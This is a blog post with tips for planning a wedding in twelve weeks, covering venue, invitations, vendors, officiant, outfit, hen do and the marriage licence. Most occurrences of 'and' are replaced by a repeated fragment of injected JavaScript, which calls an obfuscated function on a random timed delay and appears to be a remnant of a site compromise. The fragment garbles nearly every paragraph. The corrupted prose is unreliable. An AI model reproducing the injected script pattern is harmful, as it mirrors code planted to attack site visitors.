It needn’t take forever to plan a wedding, with a little organisation it’s doable in under 3 months!

When it comes to wedding planning we are encouraged to start as soon as possible in order to get everything done. Newly engaged women up andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} down the country seem to go planning crazy as soon as the ring goes on their finger.

 

It needn’t be this way! With some clever organisation you can plan a wedding andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} get everything done in 12 weeks or less. You may not end up with an uber swanky, black tie affair but you’ll have a lovely wedding day that your friends andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} family will be proud of.

1. Get Back to Basics

First things first; you need to set a date andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a budget for your wedding. Once you’ve done that you can start organising a venue for the big day. Determine what kind of style or theme you would like andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} then pick a venue to suit your needs.

 

As you are working within a tight time frame you might not always get your first choice but there is always something available around the date that you want- andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} chances are you’ll be able to get it for a knocked-down price. If traditional venues are lacking then consider hiring out a restaurant or borrowing someone’s beautiful back garden.

 

2. Invite the Guests

Once you have a time andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a place nailed you can invite your guests. If you still have oodles of time left then you can spring for traditional paper invites but if you’re cutting it fine then opt for e-invites.

 

You’ll still get the look of a traditional wedding invite but without all the fuss of waiting for the post. Give your guest the option of RSVPing by phone or post to save yourself extra time, but be prepared to chase them down for a response as it is vital that you get your final head-count ASAP.

 

3. Vendor Sourcing

Most local vendors will tell you that they need more notice; so be prepared for a lot of rejections. In order to pull off a wedding at short notice you need to be prepared to get creative, here are some ideas:

 

  • Go DIY with the catering andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} ask some friends andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} family to bring along their signature dish to create a mix andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} match style buffet

 

  • Forgo a DJ or Bandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} (unless you know someone who can help you out), andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} make a killer playlist on your MP3 Player

 

  • Instead of a traditional bar, buy in beer andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} wine in bulk andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} hire someone to serve for the night; your guests won’t have to worry about carrying cash andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} you’ll save money by buying in bulk

 

  • Buy a shop-bought cake instead of having one made- it’ll save you a lot of time andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} money. If you buy one that is pre-iced with white icing you can have fun decorating it yourself

 

  • If no one florist can produce enough arrangements for your day then ask for a couple of arrangements from a few a different places. Ask for arrangements made from their standandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ard stock to save them from ordering in

 

4. Source an Officiant

There are any number of people who can marry you officially- any ordained member of the church, a judge, a justice of the peace or even a friend that has been ordained. Make some calls andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} get someone booked ASAP because without the right person to conduct the ceremony you won’t be legally married.

 

5. Get Your Wedding Outfit

Forget ordering a gown from a bridal boutique, unless they have your size in stock (or near enough), it’ll take weeks or months to order it in. Have a look around on the high street andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} see what’s on offer; you could always purchase a white bridesmaid’s gown or prom dress at the fraction of the price of a bridal gown. If you know someone who’s good with a needle andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} thread then you could ask them to customize it for you, or you could always do it yourself.

 

6. Have a crafty Hen Do

Gather all of your friends together on the day of the Hen andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} get creative making wedding favours andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} decorations. Throw some bubbly into the mix andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} you’ve got a party! Take them out for dinner andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a night on the town afterwards as a massive thank you.

 

7. Prep the Paperwork!

Get your butt down to your local council as soon as you can andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} organize all the paperwork. We know it’s boring but without a marriage licence all your creative efforts will be for nothing.
